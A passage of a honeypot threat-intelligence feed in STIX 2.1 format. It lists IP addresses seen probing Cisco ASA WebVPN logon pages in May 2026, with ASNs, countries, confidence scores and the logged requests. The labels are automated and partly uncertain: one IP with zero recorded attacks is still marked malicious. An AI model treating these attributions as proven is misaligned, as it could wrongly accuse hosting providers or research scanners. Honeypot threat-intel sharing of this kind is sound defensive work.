            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bd748842-bf56-4b7d-a166-26d67091fff0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-02T01:51:44.393Z",
          "last_seen": "2026-05-19T03:10:14.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b38c6af4-9e8a-4429-8f11-42516a8ac58a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.116.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T10:22:09.255Z",
          "last_seen": "2026-05-30T05:33:50.300Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--665df67e-8d28-4b98-8600-7f87e40199ba",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--01d8432b-1758-47c5-a69f-c72e4b15d0d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-14T01:04:12.101Z",
          "last_seen": "2026-05-14T01:20:04.340Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7fa56cf1-b39f-4231-944e-f3bada064842",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T08:58:59.625Z",
          "last_seen": "2026-05-26T08:34:50.711Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6bb8f759-d8b5-4a9d-b35e-7760b4981be0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-05T00:49:33.223Z",
          "last_seen": "2026-05-30T13:15:36.404Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--7e1e1fa9-9c92-4f2d-b620-f2b609bef264",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-08T13:40:48.907Z",
          "last_seen": "2026-05-27T18:33:24.723Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a0c4f4e5-23e0-40fe-88e8-7e4b1b392dbc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-02T00:21:46.810Z",
          "last_seen": "2026-05-30T14:27:53.528Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--cdd9fd63-2e25-4889-afe1-3b89ad3d167e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-09T03:44:47.949Z",
          "last_seen": "2026-05-31T04:04:40.925Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--3b8e6ced-5b6d-4483-9b6d-693f520a5c9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T03:40:14.820Z",
          "last_seen": "2026-05-29T15:59:51.084Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--42ff731e-4d4a-438c-bb79-b40eda3e64a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T09:55:26.226Z",
          "last_seen": "2026-05-29T09:55:26.226Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--c0ab3647-e544-4347-8ecc-b9f6ad1505dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:20:10.000Z",
      "valid_until": "2026-06-02T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-22T13:42:20.170Z",
          "last_seen": "2026-05-22T13:42:20.170Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--397369e7-6a2c-47e0-ab2c-5d993dceffc5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T04:13:01.997Z",
          "last_seen": "2026-05-30T09:40:11.597Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--5274e960-d121-489c-87a3-92850493a2d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-03T07:52:07.254Z",
          "last_seen": "2026-05-26T16:24:13.128Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--81bc11ca-07ed-4350-b5aa-3952d4357f47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.160.223.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-08T12:27:00.930Z",
          "last_seen": "2026-05-30T03:22:39.877Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--957ff61f-972b-4f10-a98f-c49df2c43728",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-27T02:48:31.991Z",
          "last_seen": "2026-05-27T02:48:38.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--25e77b99-dd5d-4ae1-bc21-87474bbd7d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-02T06:55:43.525Z",
          "last_seen": "2026-05-27T20:34:38.632Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b475c512-4c4a-4574-ac37-3baf742579c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T22:51:08.132Z",
          "last_seen": "2026-05-27T18:09:56.646Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b53cf647-f451-46a7-becd-016ee9f537c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-07T10:01:53.026Z",
          "last_seen": "2026-05-30T07:40:24.103Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--c73b1dd3-9c7f-487c-b037-2b81e824d53f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T22:20:10.000Z",
      "valid_until": "2026-06-02T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T14:22:38.245Z",
          "last_seen": "2026-05-31T03:30:10.424Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--ca253ac3-c47c-4082-891e-040267d4ea25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
